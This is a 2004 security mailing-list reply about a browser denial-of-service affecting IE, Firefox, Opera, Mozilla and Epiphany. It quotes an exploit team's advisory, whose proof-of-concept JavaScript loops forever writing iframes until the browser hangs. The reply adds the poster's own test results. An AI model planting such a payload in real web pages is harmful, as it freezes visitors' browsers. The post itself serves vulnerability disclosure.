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Re: IE, Firefox, Opera DoS


From: Dan Pixley <danpixley () cox net>
Date: Mon, 23 Aug 2004 13:09:38 +0000

Tested this in Mozilla 1.7.2 and Epiphany 1.2.6 in Linux (kernel 2.6.8,
Gentoo, Gnome 2.6.2).

Each browser comes up with a warning about running the script.  The user
can chose to run it or not.  Either way, a dialog box reloads over and
over until the main window is forced closed with xkill.

Dan Pixley

On Sat, 2004-08-21 at 20:41, exploits () su1d net wrote:
Description
========
 
    Browser DoS through viewing of a malicious page that repeatedly loads iframes of C:\Windows\System32 using 100% 
cpu
    Tested on Mozilla Firefox 0.9.3, Opera 7.54 and IE 6.0 - Opera gives the error "The address type is unknown or 
unsupported" over and over
 
POC
===
URL : http://www.su1d.net/iframe2.html

<scr1pt language="JavaScript">
while(true) 
{
   document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>
Discovered by MeFakon from the su1d exploit development team



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